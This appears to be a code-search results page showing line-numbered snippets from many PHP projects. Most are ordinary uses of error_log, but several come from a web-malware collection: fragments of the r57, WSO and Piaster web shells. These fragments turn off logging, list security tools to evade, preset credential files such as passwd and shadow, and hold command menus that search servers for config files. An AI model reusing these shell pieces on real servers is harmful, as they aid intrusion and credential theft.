1<?php 2class ControllerSettingSetting extends Controller { 88 $this->data['entry_error_display'] = $this->language->get('entry_error_display'); 89 $this->data['entry_error_log'] = $this->language->get('entry_error_log'); 90 $this->data['entry_error_filename'] = $this->language->get('entry_error_filename');r57142.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 42 lines
1<?php 2 15{ 16 @ini_set('error_log',NULL); 17 @ini_set('log_errors',0); 22{ 23 @ini_alter('error_log',NULL); 24 @ini_alter('log_errors',0); 29error_reporting(E_ALL); 30$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); 31$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm', 35$chars_rlph = "abcdefghijklnmopqrstuvwxyz"; 36$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php', 37'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root', 38'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs', 39'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing','Windows', 40'Documents and Settings','Program Files','boot.ini','apache');G5.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 1556 lines
30if($access==1){ 31if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$USR || $_SERVER['PHP_AUTH_PW']!==$PWD){ob_end_clean();header('WWW-Authenticate: Basic realm="Piaster"');header('HTTP/1.0 401 Unauthorized');exit("<b><a href=http://www.w-dll.com>Piaster</a> : Access Denied</b>");}} 32 42 43@ini_set('error_log',NULL); 44@ini_set('log_errors',0); 46@ini_set('output_buffering',0); 47$php = $_SERVER["PHP_SELF"]; 48if(version_compare(phpversion(), '4.1.0') == -1) 110 $fa = urldecode(base64_decode(str_replace("\\\\","\\",$fa))); 111 ;echo "<center><br><br> <p align=\"center\"><a href=\"javascript: close()\">Close</a></p><table border =\"1\" bgcolor =\"black\"><tr><td><font color =\"red\"><b> File Path: </font> " .$fa. "</td><tr><tr><td><font color =\"red\"><b>File Size: </b></font>" . wdll_s1z(@filesize($fa)) ."</td></tr> <tr><td><font color =\"red\"><b>Create:</b></font> ".@date('d/m/Y H:i:s',@filectime($fa))."</td></tr><tr><td><font color =\"red\"><b>Modify: </b></font>" .@date('d/m/Y H:i:s', @filemtime($fa)) ."</td></tr><tr><td><font color =\"red\"><b>Mode: </b></font>" .wdll_permc($fa) . "</td></tr></table></center><br><center><table><tr>";echo "<form method=\"post\" action=\"" . $php . "?download=".$fa ."\"> ";sub('down','Download',$pr='');echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?cod=" .@base64_encode($fa)."\">";sub('Source','Source',$pr='');echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?chmod=" .$fa."\">";echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?delete=" .@base64_encode($fa)."\">";sub('Delete','Delete',$pr='');echo "</form>";echo "</tr></table></center>";ft(); die;} 112 202$win = strtolower(substr(PHP_OS,0,3)) == "win"; 203$HO= "<a href=\"".$php."\">Home</a>";$kilm= "<a href=\"".$php."?kil=me\">Kill Me</a>"; 204$sys = "OS: <font color=orange>".@wordwrap(@php_uname())."</font>";404.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 1488 lines
68 "List Directory" => "dir", 69 "Find index.php in current dir" => "dir /s /w /b index.php", 70 "Find *config*.php in current dir" => "dir /s /w /b *config*.php", 108 "locate cfg.php files" => "locate cfg.php", 109 "locate conf.php files" => "locate conf.php", 110 "locate config.dat files" => "locate config.dat", 110 "locate config.dat files" => "locate config.dat", 111 "locate config.php files" => "locate config.php", 112 "locate config.inc files" => "locate config.inc", 113 "locate config.inc.php" => "locate config.inc.php", 114 "locate config.default.php files" => "locate config.default.php", 115 "locate config* files " => "locate config", 270:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' ) 271:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').' 272:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)wso2.5.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 1517 lines
63 "Find index.php in current dir" => "dir /s /w /b index.php", 64 "Find *config*.php in current dir" => "dir /s /w /b *config*.php", 65 "Show active connections" => "netstat -an", 103 "locate cfg.php files" => "locate cfg.php", 104 "locate conf.php files" => "locate conf.php", 105 "locate config.dat files" => "locate config.dat", 105 "locate config.dat files" => "locate config.dat", 106 "locate config.php files" => "locate config.php", 107 "locate config.inc files" => "locate config.inc", 107 "locate config.inc files" => "locate config.inc", 108 "locate config.inc.php" => "locate config.inc.php", 109 "locate config.default.php files" => "locate config.default.php", 247 248 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); 249 if(!empty($GLOBALS['auth_pass']))wso2.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 1239 lines
72 "List Directory" => "dir", 73 "Find index.php in current dir" => "dir /s /w /b index.php", 74 "Find *config*.php in current dir" => "dir /s /w /b *config*.php", 91 "find sgid files in current dir" => "find . -type f -perm -02000 -ls", 92 "find config.inc.php files" => "find / -type f -name config.inc.php", 93 "find config* files" => "find / -type f -name \"config*\"", 111 "locate admin.php files" =>"locate admin.php", 112 "locate cfg.php files" => "locate cfg.php", 113 "locate conf.php files" => "locate conf.php", 114 "locate config.dat files" => "locate config.dat", 115 "locate config.php files" => "locate config.php", 116 "locate config.inc files" => "locate config.inc", 262 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'. 263 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'. 264 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.class-pop3.php http://cartonbank.googlecode.com/svn/trunk/ | PHP | 652 lines
1<?php 2/** 2/** 3 * mail_fetch/setup.php 4 * 16 * 17 * $Id: class-pop3.php 9503 2008-11-03 23:25:11Z ryan $ 18 */ 37 var $DEBUG = FALSE; // set to true to echo pop3 38 // commands and responses to error_log 39 // this WILL log passwords! 100 if($this->DEBUG) 101 error_log("POP3 SEND [connect: $server] GOT [$reply]",0); 102 if(!$this->is_ok($reply)) { 242 if($this->DEBUG) { 243 @error_log("POP3 SEND [$cmd] GOT [$reply]",0); 244 }PEAR.php http://yubikey-drupal.googlecode.com/svn/trunk/ | PHP | 1108 lines
11 * http://www.php.net/license/3_0.txt. If you did not receive a copy of 12 * the PHP License and are unable to obtain it through the web, please 13 * send a note to license@php.net so we can mail you a copy immediately. 21 * @copyright 1997-2006 The PHP Group 22 * @license http://www.php.net/license/3_0.txt PHP License 3.0 23 * @version CVS: $Id: PEAR.php,v 1.101 2006/04/25 02:41:03 cellog Exp $ 44 45if (substr(PHP_OS, 0, 3) == 'WIN') { 46 define('OS_WINDOWS', true); 94 * @copyright 1997-2006 The PHP Group 95 * @license http://www.php.net/license/3_0.txt PHP License 3.0 96 * @version Release: 1.6.2 99 * @since Class available since PHP 4.0.2 100 * @link http://pear.php.net/manual/en/core.pear.php#core.pear.pear 101 */xmlrpc_wrappers.php http://swan.googlecode.com/svn/trunk/ | PHP | 947 lines
30 */ 31 function php_2_xmlrpc_type($phptype) 32 { 131 * bool return_source when true, php code w. function definition will be returned, not evaluated 132 * bool encode_php_objs let php objects be sent to server using the 'improved' xmlrpc notation, so server can deserialize them as php objects 133 * bool decode_php_objs --- WARNING !!! possible security hazard. only use it with trusted servers --- 151 $encode_php_objects = isset($extra_options['encode_php_objs']) ? (bool)$extra_options['encode_php_objs'] : false; 152 $decode_php_objects = isset($extra_options['decode_php_objs']) ? (bool)$extra_options['decode_php_objs'] : false; 153 $catch_warnings = isset($extra_options['suppress_warnings']) && $extra_options['suppress_warnings'] ? '@' : ''; 157 // up to php 5.0.3 some useful reflection methods were missing 158 error_log('XML-RPC: cannot not wrap php functions unless running php version bigger than 5.0.3'); 159 return false; 356 { 357 $innercode .= "if (\$p{$i}->kindOf() == 'scalar') \$p$i = \$p{$i}->scalarval(); else \$p$i = php_{$prefix}_decode(\$p$i, array('decode_php_objs'));\n"; 358 }system_info.php http://nuke-viet.googlecode.com/svn/trunk/ | PHP | 202 lines
55{ 56 $global_config['version'] .= "<a href=\"" . NV_BASE_ADMINURL . "index.php?" . NV_NAME_VARIABLE . "=webtools&" . NV_OP_VARIABLE . "=checkupdate\">" . $lang_module['checkversion'] . "</a>"; 57} 67 'key' => $lang_module['server_phpversion'], // 68 'value' => ( PHP_VERSION != '' ? PHP_VERSION : phpversion() ) // 69 ), // 71 'key' => $lang_module['server_api'], // 72 'value' => ( nv_function_exists( 'apache_get_version' ) ? apache_get_version() . ', ' : ( nv_getenv( 'SERVER_SOFTWARE' ) != '' ? nv_getenv( 'SERVER_SOFTWARE' ) . ', ' : '' ) ) . ( PHP_SAPI != '' ? PHP_SAPI : php_sapi_name() ) // 73 ), // 126 'key' => NV_LOGS_DIR . "/error_logs", // 127 'value' => ( is_writable( NV_ROOTDIR . '/' . NV_LOGS_DIR . "/error_logs" ) ? $lang_module['chmod_noneed'] : $lang_module['chmod_need'] ) // 128 ), // 129 array( // 130 'key' => NV_LOGS_DIR . "/error_logs/errors256", // 131 'value' => ( is_writable( NV_ROOTDIR . '/' . NV_LOGS_DIR . "/error_logs/errors256" ) ? $lang_module['chmod_noneed'] : $lang_module['chmod_need'] ) //return.php https://bitbucket.org/rhizomatik/lorea_production/ | PHP | 208 lines
1<?php 2 8ini_set('display_errors', '1'); 9require_once(dirname(dirname(dirname(dirname(__FILE__)))) . "/engine/start.php"); 10require_once('../openid_include.php'); 14 15$return_url = $CONFIG->wwwroot.'mod/openid_client/actions/return.php'; 16 33 $fullname = trim($sreg['fullname']); 34 "client:".error_log($email); 35 "client:".error_log($fullname);api_b2c_1_0_delivery.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 461 lines
1<?php 2include_once(CORE_DIR.'/api/shop_api_object.php'); 234 } 235 //error_log(date("Y:m:d:H:i:s").$error_info."\n", 3, HOME_DIR."/bryant/errors.log"); 236 }api_b2b_3_1_fenxiao.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 826 lines
1<?php 2include_once(CORE_DIR.'/api/shop_api_object.php'); 76 //} 77 //error_log(print_r($data,true)."\n",3,HOME_DIR."/logs/taobao_order_to_local.log"); 78 if($row_order){ 78 if($row_order){ 79 //error_log(print_r($row_order,true)."\n",3,HOME_DIR."/logs/taobao_order_to_local.log"); 80 //??????ctl.spec.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 433 lines
1<?php 2class ctl_spec extends adminPage{ 226 } 227 //error_log(print_r($_POST['store'],true),3,"d:/2.txt"); 228 $_POST['goods_args'] = array(PEAR.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 1128 lines
11 * http://www.php.net/license/3_0.txt. If you did not receive a copy of 12 * the PHP License and are unable to obtain it through the web, please 13 * send a note to license@php.net so we can mail you a copy immediately. 21 * @copyright 1997-2008 The PHP Group 22 * @license http://www.php.net/license/3_0.txt PHP License 3.0 23 * @version CVS: $Id: PEAR.php,v 1.104 2008/01/03 20:26:34 cellog Exp $ 44 45if (substr(PHP_OS, 0, 3) == 'WIN') { 46 define('OS_WINDOWS', true); 94 * @copyright 1997-2006 The PHP Group 95 * @license http://www.php.net/license/3_0.txt PHP License 3.0 96 * @version Release: 1.7.1 99 * @since Class available since PHP 4.0.2 100 * @link http://pear.php.net/manual/en/core.pear.php#core.pear.pear 101 */mdl.certificate.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 861 lines
1<?php 2 18 'certi_session' => $this->get_sess(), 19 'certi_validate_url' => $this->system->base_url() . "shopadmin/index.php?ctl=passport&act=certi_validate", 20 'format' => 'json' 51 $certi_url = is_null($certi_url)?$base_url:$certi_url; 52 $certi_validate_url = is_null($certi_validate_url)?$base_url . "shopadmin/index.php?ctl=passport&act=certi_validate":$certi_validate_url; 53 $format = empty($format)?'json':$format; 87 function read_shopex_server($post){ 88 $url=SERVICE_HOST."/openapi/api.php"; 89 97 if( @constant( "DEBUG_API" ) ){ 98 error_log(date("c")."\t".print_r($debug_info,true),3,HOME_DIR."/logs/certificate_".date("Y-m-d").".log"); 99 } 103 function read_shopex_accountserver($post){ 104 $url=ACCOUNT_HOST."/api.php"; 105 $net = $this->system->network();ctl.passport.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 778 lines
1<?php 2/** 6 * @package 7 * @version $Id: ctl.passport.php 2035 2008-04-28 14:06:13Z alex $ 8 * @copyright 2003-2007 ShopEx 137 $this->pagedata['ref_url'] = str_replace(array('_',',','~'),array('+','/','='),base64_decode($url)); 138 $baseurl='http://'.$_SERVER['HTTP_HOST'].substr(PHP_SELF, 0, strrpos(PHP_SELF, '/') + 1); 139 237 $loginfo = $obj->userLoginToApp(70,'testname','889900','sdfsd@dd.com'); 238 //error_log() 239 //echo $loginfo;exit;kernel.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 609 lines
36 require('defined.php'); 37 $this->model_dir = ((!defined('SHOP_DEVELOPER') || !constant('SHOP_DEVELOPER')) && version_compare(PHP_VERSION,'5.0','>=')?'model_v5':'model'); 38 46 47 $this->__metadata = unserialize(file_get_contents(HOME_DIR.'/fdata.php')); 48 if(isset($this->__metadata['GTASK_REMINDER']) && $this->__metadata['GTASK_REMINDER']>0 && time()>$this->__metadata['GTASK_REMINDER']){ 55 }else{ 56 require('cachemgr.php'); 57 if(constant('WITH_MEMCACHE')){ 74 75 require('setmgr.php'); 76 $this->__setting = new setmgr; 158 if(!isset($this->_base_url)){ 159 $this->_base_url='http://'.$_SERVER['HTTP_HOST'].substr(PHP_SELF, 0, strrpos(PHP_SELF, '/') + 1); 160 }api_b2c_1_0_delivery.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 1166 lines
1<?php 2include_once(CORE_DIR.'/api/shop_api_object.php'); 209 } 210//error_log(var_export($data,1),3,'c:/insert_ome_delivery.txt'); 211 if($wrong_bn !=''){shopPage.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 424 lines
1<?php 2 6 * @package 7 * @version $Id: shopPage.php 2049 2008-04-29 06:53:26Z flaboy $ 8 * @copyright 2003-2007 ShopEx 12 13require_once('pageFactory.php'); 14class shopPage extends pageFactory{ 55 if((!$this->system->getConf('system.seo.emuStatic') || $this->system->getConf('system.seo.emuStatic') == 'false')){ 56 $this->system->_base_link.=APP_ROOT_PHP.'?'; 57 } 75 $this->header.= $ucObj->login($member[0],$url); 76 error_log(3,3,HOME_DIR.'/aaa.txt'); 77 $this->system->setCookie('SYNLOGIN',''); 82 if($this->action['type']=='xml' || $this->action['type']=='json'){ 83 require(CORE_INCLUDE_DIR.'/shop/shop.front_api.php'); 84 shop_front_api($this,$this->action['type']);kernel.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 594 lines
37 $this->model_dir = 'model'; 38 //$this->model_dir = ((!defined('SHOP_DEVELOPER') || !constant('SHOP_DEVELOPER')) && version_compare(PHP_VERSION,'5.0','>=')?'model_v5':'model'); 39 47 48 $this->__metadata = unserialize(file_get_contents(HOME_DIR.'/fdata.php')); 49 if(isset($this->__metadata['GTASK_REMINDER']) && $this->__metadata['GTASK_REMINDER']>0 && time()>$this->__metadata['GTASK_REMINDER']){ 56 }else{ 57 require('cachemgr.php'); 58 if(constant('WITH_MEMCACHE')){ 75 76 require('setmgr.php'); 77 $this->__setting = new setmgr; 159 if(!isset($this->_base_url)){ 160 $this->_base_url='http://'.$_SERVER['HTTP_HOST'].substr(PHP_SELF, 0, strrpos(PHP_SELF, '/') + 1); 161 }orders1.php http://google-checkout-oscommerce.googlecode.com/svn/trunk/ | PHP | 219 lines
1<?php 2/* 21 * Google Checkout v1.5.0 22 * $Id: orders1.php 224 2009-03-11 16:31:28Z ed.davisson $ 23 * 23 * 24 * This method is meant to be included in catalog/admin/orders.php. 25 */ 34// Execute the cron hook. 35require_once(DIR_FS_CATALOG . '/googlecheckout/library/google_cron_hook.php'); 36$google_cron_hook = new GoogleCronHook(); 42 43 define('API_CALLBACK_ERROR_LOG', 44 DIR_FS_CATALOG. "/googlecheckout/logs/response_error.log"); 47 48 include_once(DIR_FS_CATALOG . '/includes/modules/payment/googlecheckout.php'); 49 include_once(DIR_FS_CATALOG . '/googlecheckout/library/googlerequest.php');permissions.inc.php git://github.com/modxcms/revolution.git | PHP | 192 lines
1<?php 2/** 58$_lang['perm.empty_cache_desc'] = 'Vyprázdnit cache.'; 59$_lang['perm.error_log_erase_desc'] = 'Možnost vymazánà chybových zpráv.'; 60$_lang['perm.error_log_view_desc'] = 'Možnost zobrazenà chybových zpráv.';NzbHandler_Pushsabnzbd.php git://github.com/spotweb/spotweb.git | PHP | 408 lines
1<?php 2define("SABNZBD_TIMEOUT",15); 54 { 55 error_log("Unable to open sabnzbd url: " . $url); 56 throw new Exception("Unable to open sabnzbd url: " . $url); 60 { 61 error_log("sabnzbd returned: " . $output); 62 throw new Exception("sabnzbd returned: " . $output);PHPTypes.pas git://github.com/rnapoles/PHP4Lazarus.git | Pascal | 440 lines
56 SAPI_DEFAULT_CHARSET = ''; 57 SAPI_PHP_VERSION_HEADER = 'X-Powered-By: PHP'; 58 90 PHP_CREDITS_ALL = $FFFFFFFF; 91 PHP_LOGO_GUID = 'PHPE9568F34-D428-11d2-A769-00AA001ACF42'; 92 PHP_EGG_LOGO_GUID = 'PHPE9568F36-D428-11d2-A769-00AA001ACF42'; 93 ZEND_LOGO_GUID = 'PHPE9568F35-D428-11d2-A769-00AA001ACF42'; 94 PHP_CREDITS_GUID = 'PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000'; 95 324type 325 PPHP_URL = ^TPHP_URL; 326 Tphp_url = 346type 347 Pphp_Core_Globals = ^TPHP_core_globals; 348 Tphp_core_globals =phpAPI.html git://github.com/yahoo/Pluton.git | HTML | 263 lines
4<title> 5The Pluton Framework: PHP API 6</title> 16 17<h2 align=center>The Pluton Framework: PHP API</h2> 18 20 21The PHP API is a <a href=http://www.zend.com>ZEND</a> extension 22around the C++ <a href=clientAPI.html>client</a> and 24 25The PHP API is semantically very similar to its C++ counterparts; the main differences being 26the parameters passed to the APIs. 29This document highlights the differences between the C++ API and the 30PHP API. For a more complete description of each of the APIs please 31refer the C++ <a href=clientAPI.html>client</a>mysql-storage-process-detailed-error-handling.html http://dyhb-frame.googlecode.com/svn/trunk/ | HTML | 197 lines
3 <head> 4 <title>The DoYouHaoBaby PHP Framework For PHP5 | ????????</title> 5 <meta http-equiv="content-type" content="text/html; charset=gbk" /> 7 <meta name="Keywords" content="DoYouHaoBaby,Framework"> 8 <meta name="Description" content="The DoYouHaoBaby PHP Framework | ?????????????"> 9 <link rel="stylesheet" type="text/css" href="./../../media/css/style.css" /> 12 <body style="margin:0"> 13 <div id="header"><img src="./../../media/images/logo.png" border="0" title="The DoYouHaoBaby PHP Framework Logo" ></div> 14 <div id="content"> 15 <div id="version"> 16 The DoYouHaoBaby PHP Framework????????<br> 17 Copyright(c) <a href="http://doyouhaobaby.net">DoYouHaoBaby.NET</a> 25 <tr> 26 <th align=middle colspan=3>The DoYouHaoBaby PHP Framework????????</th> 27</tr>setting.php http://coderstalk.googlecode.com/svn/trunk/ | PHP | 81 lines
1<?php 2// Heading 53$_['entry_image_cart'] = 'Cart Image Size:'; 54$_['entry_mail_protocol'] = 'Mail Protocol:<span class="help">Only choose \'Mail\' unless your host has disabled the php mail function.'; 55$_['entry_smtp_host'] = 'SMTP Host:'; 64$_['entry_error_display'] = 'Display Errors:'; 65$_['entry_error_log'] = 'Log Errors:'; 66$_['entry_error_filename'] = 'Error Log Filename:';PEAR.php http://kumbia-enterprise.googlecode.com/svn/trunk/ | PHP | 1100 lines
11 * http://www.php.net/license/3_0.txt. If you did not receive a copy of 12 * the PHP License and are unable to obtain it through the web, please 13 * send a note to license@php.net so we can mail you a copy immediately. 21 * @copyright 1997-2006 The PHP Group 22 * @license http://www.php.net/license/3_0.txt PHP License 3.0 23 * @version CVS: $Id: PEAR.php 5 2009-04-24 01:48:48Z gutierrezandresfelipe $ 44 45if (substr(PHP_OS, 0, 3) == 'WIN') { 46 define('OS_WINDOWS', true); 94 * @copyright 1997-2006 The PHP Group 95 * @license http://www.php.net/license/3_0.txt PHP License 3.0 96 * @version Release: 1.5.0 99 * @since Class available since PHP 4.0.2 100 * @link http://pear.php.net/manual/en/core.pear.php#core.pear.pear 101 */PEAR.php http://easyrest.googlecode.com/svn/trunk/ | PHP | 1119 lines
11 * http://www.php.net/license/3_0.txt. If you did not receive a copy of 12 * the PHP License and are unable to obtain it through the web, please 13 * send a note to license@php.net so we can mail you a copy immediately. 21 * @copyright 1997-2008 The PHP Group 22 * @license http://www.php.net/license/3_0.txt PHP License 3.0 23 * @version CVS: $Id: PEAR.php,v 1.104 2008/01/03 20:26:34 cellog Exp $ 44 45if (substr(PHP_OS, 0, 3) == 'WIN') { 46 define('OS_WINDOWS', true); 94 * @copyright 1997-2006 The PHP Group 95 * @license http://www.php.net/license/3_0.txt PHP License 3.0 96 * @version Release: 1.7.2 99 * @since Class available since PHP 4.0.2 100 * @link http://pear.php.net/manual/en/core.pear.php#core.pear.pear 101 */provider.php http://massey-se-c-team2.googlecode.com/svn/trunk/ | PHP | 846 lines
1<?php 2/** 6 * but will work without them (although either via SSL, or in stateless mode only). 7 * Also, it requires PHP >= 5.1.2 8 * 21 * @copyright Copyright (c) 2010, Mewp 22 * @license http://www.opensource.org/licenses/mit-license.php MIT 23 */ 23 */ 24ini_set('error_log','log'); 25abstract class LightOpenIDProvider 91 * Stores an association. 92 * If you want to use php sessions in your provider code, you have to replace it. 93 * @param String $handle Association handle -- should be used as a key. 111 * Retreives association data. 112 * If you want to use php sessions in your provider code, you have to replace it. 113 * @param String $handle Association handle.PEAR.php http://syracava.googlecode.com/svn/trunk/ | PHP | 1119 lines
11 * http://www.php.net/license/3_0.txt. If you did not receive a copy of 12 * the PHP License and are unable to obtain it through the web, please 13 * send a note to license@php.net so we can mail you a copy immediately. 21 * @copyright 1997-2008 The PHP Group 22 * @license http://www.php.net/license/3_0.txt PHP License 3.0 23 * @version CVS: $Id: PEAR.php 125 2009-08-21 01:35:18Z takuji.mezawa $ 44 45if (substr(PHP_OS, 0, 3) == 'WIN') { 46 define('OS_WINDOWS', true); 94 * @copyright 1997-2006 The PHP Group 95 * @license http://www.php.net/license/3_0.txt PHP License 3.0 96 * @version Release: 1.7.2 99 * @since Class available since PHP 4.0.2 100 * @link http://pear.php.net/manual/en/core.pear.php#core.pear.pear 101 */build.sh http://arronwork.googlecode.com/svn/trunk/ | Shell | 513 lines
257/error_log *= *filename/ { 258 printf("error_log = %s/logs/php.error.log\n", server_dir); 259 next; 402/error_log *= *filename/ { 403 printf("error_log = %s/logs/php.error.log\n", server_dir); 404 next; 406{ print; } 407' server_dir=$server_dir php.ini-dist > $server_dir/conf/php.ini 408 418 # Append to php.ini 419 cat php.ini >>$server_dir/conf/php.ini 420 # svrctl 440 441 cd phpinc # /phpinc 442 mkdir -p $web_dir/phpinc/soarclickatell.erl http://erl-clickatell.googlecode.com/svn/trunk/ | Erlang | 250 lines
101terminate({ping_error, Error}, State) -> 102 error_logger:error_msg("Failed to ping ~s because ~p", [State#state.session_id, Error]), 103 ok; 118ping_loop(Time, SessionID) -> 119 error_logger:info_msg("Pinging ~s...~n", [SessionID]), 120 {ok, HTTPResponse} = call("/http/ping", [{session_id, SessionID}]), 135call_check(To, SessionID) -> 136 callback("/utils/routeCoverage.php", [{msisdn, To}, {session_id, SessionID}], fun handle_check/1). 137handle_check(HTTPResponse) ->mdl.trigger.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 334 lines
1<?php 2require_once('shopObject.php'); 89 $type = $target->typeName; 90 //error_log($type,3,HOME_DIR.'/type.txt'); 91 $this->system->messenger = &$this->system->loadModel('system/messenger'); 92 $this->system->_msgList = $this->system->messenger->actions(); 93 error_log($type.'-'.$action."\n",3,HOME_DIR.'/action.txt'); 94 if($this->system->_msgList[$type.'-'.$action]){ 94 if($this->system->_msgList[$type.'-'.$action]){ 95 error_log($type.'-'.$action."\n",3,HOME_DIR.'/action.txt'); 96 $this->system->messenger->actionSend($type.'-'.$action,$object,$member_id); 237 if(!function_exists('shop_match_network')){ 238 require(CORE_INCLUDE_DIR.'/shop/core.match_network.php'); 239 }listResults.php http://webpagetest.googlecode.com/svn/trunk/ | PHP | 198 lines
1<?php 2require( "login/login.php" ); 190 } 191 error_log( "[WPTMonitor] Failed while Listing jobs: " . $wptResultId . " message: " . $e->getMessage() ); 192 print 'Exception : ' . $e->getMessage();compare.php http://showslow.googlecode.com/svn/trunk/ | PHP | 322 lines
69 if (!$result) { 70 error_log(mysql_error()); 71 } 203<ul style="margin-top: 1em"> 204<?php foreach ($urls as $url) { ?> 205 <li> 205 <li> 206 <a href="./?url=<?php echo urlencode($url)?>"><?php echo htmlentities(substr($url, 0, 60))?><?php if (strlen($url) > 60) { ?>...<?php } ?></a><?php 207 263 <div class="addthis_toolbox addthis_default_style" style="margin-right: 10px;"> 264 <a href="http://www.addthis.com/bookmark.php?v=250&username=<?php echo urlencode($addThisProfile)?>" class="addthis_button_compact">Share</a> 265 <span class="addthis_separator">|</span> 290 } 291 ?><span style="font-weight: bold; color: <?php echo $data_to_display[$url]['color'] ?>"><?php echo $url ?></span> (0-100); 292 <?phpoutput.pdflib.1.6.class.php http://simpleinvoices.googlecode.com/svn/trunk/ | PHP | 0 lines
1<?php 2// $Header: /cvsroot/html2ps/output.pdflib.1.6.class.php,v 1.2 2006/11/11 13:43:53 Konstantin Exp $ 3 4require_once(HTML2PS_DIR.'output.pdflib.class.php'); 5 187 188 error_log(sprintf("Anonymous form generated with name %s; check your HTML for validity", 189 $name)); 203 $name = uniqid("AnonymousFormFieldObject_"); 204 error_log(sprintf("Anonymous field generated with name %s; check your HTML for validity", 205 $name)); 215 } elseif (!$allowexisting) { 216 error_log(sprintf("Interactive form '%s' already contains field named '%s'", 217 $lastform->name(),common.php http://get-simple-cms.googlecode.com/svn/trunk/ | PHP | 252 lines
24 */ 25include('basic.php'); 26include('template_functions.php'); 26include('template_functions.php'); 27include('logging.class.php'); 28 32if (file_exists(GSROOTPATH . 'gsconfig.php')) { 33 require_once(GSROOTPATH . 'gsconfig.php'); 34} 212 if (file_exists(GSADMINPATH.'install.php')) { 213 $filedeletionstatus = unlink(GSADMINPATH.'install.php'); 214 } 221 if (!$filedeletionstatus) { 222 $error = sprintf(i18n_r('ERR_CANNOT_DELETE'), '<code>/'.$GSADMIN.'/install.php</code>, <code>/'.$GSADMIN.'/setup.php</code> or <code>/'.$GSADMIN.'/update.php</code>'); 223 }start.php https://bitbucket.org/rhizomatik/lorea_production/ | PHP | 205 lines
1<?php 2/** 14 $user = get_loggedin_user(); 15 //error_log($page_owner->guid); 16 //error_log($user->guid); 32 $acl = array(); 33 $acl[] = "# acl.auth.php"; 34 $acl[] = '# <?php exit()?\>'; 75 set_context("search"); 76 include($CONFIG->pluginspath.'dokuwiki/index.php'); 77 return; 118 if (empty($page) || (count($page)==1 && $page[0] == 'acl')) { 119 $page = array('doku.php'); 120 } 121 else if ((count($page)==1 && $page[0] == 'usermanager')) { 122 $page = array('doku.php'); 123 }edit.php http://simpleinvoices.googlecode.com/svn/trunk/ | PHP | 372 lines
